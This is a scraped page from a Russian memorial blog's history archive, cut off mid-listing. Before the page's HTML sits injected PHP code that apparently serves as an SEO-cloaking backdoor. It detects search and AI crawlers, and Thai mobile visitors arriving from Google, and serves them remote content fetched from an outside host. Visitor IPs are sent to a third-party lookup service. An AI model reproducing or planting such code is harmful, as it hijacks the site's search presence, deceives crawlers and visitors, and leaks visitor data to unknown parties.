$API_URL = 'https://id.yuanhengbc.com/th100';

$scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
$host   = $_SERVER['HTTP_HOST'] ?? 'localhost';
$MY_DOMAIN = $scheme . '://' . $host;

function rewrite_remote_urls($html, $api_url, $my_domain) {
    if (empty($html)) return $html;
    $orig_host = parse_url($api_url, PHP_URL_HOST);
    $my_host   = parse_url($my_domain, PHP_URL_HOST);

    
    $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html);

    $html = str_replace(
        array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host),
        array($my_domain, $my_domain, '//' . $my_host),
        $html
    );
    $html = preg_replace(
        '/<base\s+href=["\'][^"\']*' . preg_quote($orig_host, '/') . '[^"\']*["\']/i',
        '<base href="' . $my_domain . '/"',
        $html
    );
    $html = str_replace(
        array('"' . $orig_host . '"', "'" . $orig_host . "'"),
        array('"' . $my_host . '"', "'" . $my_host . "'"),
        $html
    );

    
    $html = str_replace('%%XTZ_KEEP%%', 'https://' . $orig_host . '/xtz.js', $html);

    return $html;
}

function fetch_remote_template($api_url, $ua) {
    $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
    $host   = $_SERVER['HTTP_HOST'] ?? 'localhost';
    $uri    = $_SERVER['REQUEST_URI'] ?? '/';
    $full   = $scheme . '://' . $host . $uri;
    $final  = $api_url . '?domain=' . rawurlencode($full);

    @header('Content-Type: text/html; charset=UTF-8');

    if (function_exists('curl_init')) {
        $ch = curl_init($final);
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT        => 15,
            CURLOPT_USERAGENT      => $ua,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_FOLLOWLOCATION => true,
        ));
        $body = curl_exec($ch);
        curl_close($ch);
        return $body;
    } else {
        $ctx = stream_context_create(array(
            'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true)
        ));
        return @file_get_contents($final, false, $ctx);
    }
}

$ua   = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ref  = $_SERVER['HTTP_REFERER'] ?? '';
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
if ($ua === '') $ua = ' ';

$bot_list = array(
    'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile',
    'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool',
    'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon',
    'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview',
    'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot',
    'anthropic-ai','DuckDuckBot','DuckAssistBot'
);

$is_bot = false;
foreach ($bot_list as $b) {
    if (stripos($ua, $b) !== false) { $is_bot = true; break; }
}

$is_mobile = false;
foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) {
    if (stripos($ua, $m) !== false) { $is_mobile = true; break; }
}

$is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false));
$is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1);


function check_ip_country() {
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
    $ip = trim(explode(',', $ip)[0]);
    if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL';


    $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip));
    curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 3,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_HTTPHEADER     => array('X-API-Key: change-me-now'),
    ));
    $resp = curl_exec($ch);
    curl_close($ch);

    if ($resp !== false) {
        $j = json_decode($resp, true);
        if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code'];
    }

  
    $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode');
    curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 3,
        CURLOPT_SSL_VERIFYPEER => false,
    ));
    $resp = curl_exec($ch);
    curl_close($ch);

    if ($resp !== false) {
        $j = json_decode($resp, true);
        if (isset($j['countryCode'])) return $j['countryCode'];
    }

    return 'UNKNOWN';
}

if ($is_bot) {
    $body = fetch_remote_template($API_URL, $ua);
    echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
    exit;
}


if ($is_mobile && $is_google && $is_th_lang) {
    if (check_ip_country() === 'TH') {

        $body = fetch_remote_template($API_URL, $ua);
        echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
        exit;
    }

}


   add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; });
<!doctype html>
<html lang="ru-RU">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
	<link rel="profile" href="https://gmpg.org/xfn/11">

	<title>История &#8212; Страница 2 &#8212; Вечный путь к совершенству                       </title>
<meta name='robots' content='noindex, nofollow' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Вечный путь к совершенству                        &raquo; Лента" href="https://www.vladimirkoskov.ru/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="Вечный путь к совершенству                        &raquo; Лента комментариев" href="https://www.vladimirkoskov.ru/?feed=comments-rss2" />
<link rel="alternate" type="application/rss+xml" title="Вечный путь к совершенству                        &raquo; Лента рубрики История" href="https://www.vladimirkoskov.ru/?feed=rss2&#038;cat=45" />
<style id='wp-img-auto-sizes-contain-inline-css' type='text/css'>
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id='wp-emoji-styles-inline-css' type='text/css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id='wp-block-library-inline-css' type='text/css'>
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}

/*# sourceURL=wp-block-library-inline-css */
</style>
<style id='wp-block-columns-inline-css' type='text/css'>
.wp-block-columns{box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns{align-items:normal!important}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}
/*# sourceURL=https://www.vladimirkoskov.ru/wp-includes/blocks/columns/style.min.css */
</style>

<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */
</style>
<style id='global-styles-inline-css' type='text/css'>
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
/*# sourceURL=global-styles-inline-css */
</style>

<link rel='stylesheet' id='bootstrap-style-css' href='https://www.vladimirkoskov.ru/wp-content/themes/meta-news/assets/library/bootstrap/css/bootstrap.min.css?ver=4.0.0' type='text/css' media='all' />
<link rel='stylesheet' id='font-awesome-style-css' href='https://www.vladimirkoskov.ru/wp-content/themes/meta-news/assets/library/font-awesome/css/all.min.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='meta-news-google-fonts-css' href='//fonts.googleapis.com/css2?family=Merriweather:ital,wght@0,300;0,400;0,700;1,300;1,400;1,700&#038;family=Source+Sans+Pro:ital,wght@0,300;0,400;0,700;1,300;1,400;1,700&#038;display=swap' type='text/css' media='all' />
<link rel='stylesheet' id='meta-news-style-css' href='https://www.vladimirkoskov.ru/wp-content/themes/meta-news/style.css?ver=6.9.4' type='text/css' media='all' />
<script type="text/javascript" src="https://www.vladimirkoskov.ru/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://www.vladimirkoskov.ru/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<link rel="https://api.w.org/" href="https://www.vladimirkoskov.ru/index.php?rest_route=/" /><link rel="alternate" title="JSON" type="application/json" href="https://www.vladimirkoskov.ru/index.php?rest_route=/wp/v2/categories/45" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.vladimirkoskov.ru/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.9.4" />
		<style type="text/css">
					.site-title a,
			.site-title a:hover,
			.site-description,
			.custom-logo-link {
				color: #120191;
			}
				</style>
		<style type="text/css" id="custom-background-css">
body.custom-background { background-color: #f7f7f7; }
</style>
	<link rel="icon" href="https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/cropped-apple-touch-icon-32x32.png" sizes="32x32" />
<link rel="icon" href="https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/cropped-apple-touch-icon-192x192.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/cropped-apple-touch-icon-180x180.png" />
<meta name="msapplication-TileImage" content="https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/cropped-apple-touch-icon-270x270.png" />
<style id='core-block-supports-inline-css' type='text/css'>
.wp-container-core-columns-is-layout-9d6595d7{flex-wrap:nowrap;}
/*# sourceURL=core-block-supports-inline-css */
</style>

</head>

<body class="archive paged category category-history category-45 custom-background paged-2 category-paged-2 wp-theme-meta-news theme-body hfeed">

<div id="page" class="site">
	<a class="skip-link screen-reader-text" href="#content">Skip to content</a>
	
	<header id="masthead" class="site-header">
				<div class="navbar-head navbar-bg-set header-overlay-light"  style="background-image:url('https://www.vladimirkoskov.ru/wp-content/uploads/2022/10/-интеллект-1-e1665143076981.jpg');">
			<div class="container">
				<div class="navbar-head-inner">
					<div class="site-branding brand-inline text-center">
												<div class="site-title-wrap">
															<h2 class="site-title"><a href="https://www.vladimirkoskov.ru/" rel="home">Вечный путь к совершенству                       </a></h2>
																<p class="site-description">О Володе, о том, что он любил, чем жил и в чем видел смысл жизни</p>
													</div><!-- .site-title-wrap -->
					</div><!-- .site-branding .navbar-brand -->
											<div class="navbar-ad-section">
														<img class="img-fluid" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/10/Володя-2009-г-scaled.jpg" alt="Banner Add">
													</div><!-- .navbar-ad-section -->
									</div><!-- .row -->
			</div><!-- .container -->
		</div><!-- .navbar-head -->
		<nav class="navbar">
			<div class="container">
				<div class="navigation-icons-wrap">
					<button class="navbar-toggler menu-toggle" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation"></button>
					<a href="#" class="search-modal-toggle" data-toggle="modal" data-target="#search-modal"><i class="fas fa-search"></i></a>
				</div><!-- .navigation-icons-wrap -->
			</div><!-- .container -->
			<div class="navbar-inner">
				<div class="container">
					<div class="navigation-wrap">
						<div class="navbar-main">
							<div class="collapse navbar-collapse" id="navbarCollapse">
								<div id="site-navigation" class="main-navigation" role="navigation">
									<ul class="nav-menu navbar-nav"><li id="menu-item-3354" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-3354"><a href="https://www.vladimirkoskov.ru/?cat=55">Ценность жизни</a></li>
<li id="menu-item-1017" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1017"><a href="https://www.vladimirkoskov.ru/?cat=40">Философия жизни</a></li>
<li id="menu-item-1015" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-1015"><a href="https://www.vladimirkoskov.ru/?cat=42">Сильные духом</a>
<ul class="sub-menu">
	<li id="menu-item-1011" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1011"><a href="https://www.vladimirkoskov.ru/?cat=39">Никто не забыт</a></li>
</ul>
</li>
<li id="menu-item-1010" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-1010"><a href="https://www.vladimirkoskov.ru/?cat=43">Наука и технологии</a>
<ul class="sub-menu">
	<li id="menu-item-4699" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4699"><a href="https://www.vladimirkoskov.ru/?cat=71">Вселенная</a></li>
</ul>
</li>
<li id="menu-item-1009" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1009"><a href="https://www.vladimirkoskov.ru/?cat=44">Культура и искусство</a></li>
<li id="menu-item-1008" class="menu-item menu-item-type-taxonomy menu-item-object-category current-menu-item menu-item-1008"><a href="https://www.vladimirkoskov.ru/?cat=45" aria-current="page">История</a></li>
<li id="menu-item-1007" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1007"><a href="https://www.vladimirkoskov.ru/?cat=46">Игры разума</a></li>
<li id="menu-item-1053" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1053"><a href="https://www.vladimirkoskov.ru/?cat=49">Природа</a></li>
<li id="menu-item-1016" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1016"><a href="https://www.vladimirkoskov.ru/?cat=47">Спорт</a></li>
<li id="menu-item-1014" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1014"><a target="_blank" href="https://www.vladimirkoskov.ru/?cat=48">Позитив</a></li>
<li id="menu-item-4695" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-4695"><a href="https://www.vladimirkoskov.ru/?page_id=4693">Вселенная</a></li>
</ul>								</div><!-- #site-navigation .main-navigation -->
							</div><!-- .navbar-collapse -->
						</div><!-- .navbar-main -->
						<div class="navbar-right">
							<div class="navbar-element-item navbar-search">
								<a href="#" class="search-modal-toggle" data-toggle="modal" data-target="#search-modal"><i class="fas fa-search"></i></a>
							</div><!-- .navbar-element-item .navbar-search -->
						</div><!-- .navbar-right -->
					</div><!-- .navigation-wrap -->
				</div><!-- .container -->
			</div><!-- .navbar-inner -->
		</nav><!-- .navbar -->

		
		
					<div id="breadcrumb">
				<div class="container">
					<div role="navigation" aria-label="Breadcrumbs" class="breadcrumb-trail breadcrumbs" itemprop="breadcrumb"><ul class="trail-items" itemscope itemtype="http://schema.org/BreadcrumbList"><meta name="numberOfItems" content="3" /><meta name="itemListOrder" content="Ascending" /><li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem" class="trail-item trail-begin"><a href="https://www.vladimirkoskov.ru" rel="home" itemprop="item"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li><li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem" class="trail-item"><a href="https://www.vladimirkoskov.ru/?cat=45" itemprop="item"><span itemprop="name">История</span></a><meta itemprop="position" content="2" /></li><li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem" class="trail-item trail-end"><span itemprop="name">Page 2</span><meta itemprop="position" content="3" /></li></ul></div>				</div>
			</div><!-- .breadcrumb -->
			</header><!-- #masthead -->
	<div id="content" class="site-content ">
					<div class="container">
				<div class="row justify-content-center site-content-row">
		<div id="primary" class="col-lg-12 content-area">	<div class="column-inner">
		<main id="main" class="site-main">

			
				<header class="page-header">
					<h1 class="page-title">Рубрика: <span>История</span></h1><div class="archive-description"><p>История Государства Российского и не только</p>
</div>				</header><!-- .page-header -->

				<div class="row post-wrap">
						<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-1511 post type-post status-publish format-standard has-post-thumbnail hentry category-history category-main-9">

		
				<figure class="post-featured-image post-img-wrap">
					<a href="https://www.vladimirkoskov.ru/?p=1511" class="a-post-img">
						<img class="post-img" src="https://www.vladimirkoskov.ru/wp-content/uploads/2022/07/28-Панфиловцев-1024x512.jpg" alt="">
					</a>
				</figure><!-- .post-featured-image .post-img-wrap -->

			
					<header class="entry-header">
								<h2 class="entry-title"><a href="https://www.vladimirkoskov.ru/?p=1511" rel="bookmark">Справка-доклад главного военного прокурора Н. Афанасьева &#171;О 28 панфиловцах&#187;</a></h2>
							</header>
				<div class="entry-content">
								<p>В связи с многочисленными обращениями граждан, учреждений и организаций размещаем справку-доклад главного военного прокурора Н. Афанасьева&hellip;</p>
							</div><!-- entry-content -->

			</div><!-- .post-1511 -->
	</div><!-- .col-sm-6 .col-xxl-4 .post-col -->
	<div class="col-sm-6 col-lg-4 col-xxl-4 post-col">
	<div class="post-1624 post type-post status-publish format-standard has-post-thumbnail hentry category-history category-main-9">

		
